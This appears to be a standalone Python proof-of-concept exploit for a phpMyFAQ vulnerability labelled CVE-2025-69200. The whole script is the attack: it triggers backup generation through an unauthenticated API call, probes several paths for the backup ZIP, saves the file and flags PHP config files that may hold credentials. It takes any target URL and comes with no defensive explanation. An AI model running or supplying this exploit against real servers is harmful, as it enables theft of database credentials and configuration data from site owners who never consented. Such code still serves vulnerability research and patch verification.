CVE-2025-69200

import requests import uuid # CVE-2025-69200 PoC - phpMyFAQ Configuration Backup Information Disclosure # Target: phpMyFAQ < 4.0.16 # Vulnerability: Unauthenticated remote attacker can trigger backup generation and download sensitive config files def exploit_phpMyFAQ(target_url): """ Exploit for CVE-2025-69200 Step 1: Trigger backup generation via POST /api/setup/backup Step 2: Download the generated ZIP from web-accessible location """ # Remove trailing slash if present target_url = target_url.rstrip('/') # Step 1: Trigger backup generation backup_endpoint = f"{target_url}/api/setup/backup" print(f"[*] Triggering backup generation at: {backup_endpoint}") try: response = requests.post(backup_endpoint, timeout=30) print(f"[+] Backup request status: {response.status_code}") # Step 2: Try to download the backup ZIP # Common backup file paths in phpMyFAQ backup_paths = [ f"{target_url}/content/backup/config/backup.zip", f"{target_url}/backup.zip", f"{target_url}/content/backup.zip", f"{target_url}/api/setup/backup/download" ] for path in backup_paths: print(f"[*] Trying to download backup from: {path}") zip_response = requests.get(path, timeout=30) if zip_response.status_code == 200 and zip_response.headers.get('content-type', '').find('zip') >= 0: print(f"[!] Backup file found: {path}") # Save the backup file filename = f"backup_{uuid.uuid4().hex[:8]}.zip" with open(filename, 'wb') as f: f.write(zip_response.content) print(f"[+] Backup saved to: {filename}") # Check for sensitive files in backup if b'database.php' in zip_response.content or b'<?php' in zip_response.content: print("[!] WARNING: Backup contains PHP config files with potential credentials!") return True print("[-] Could not find downloadable backup file") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/phpmyfaq") sys.exit(1) exploit_phpMyFAQ(sys.argv[1])

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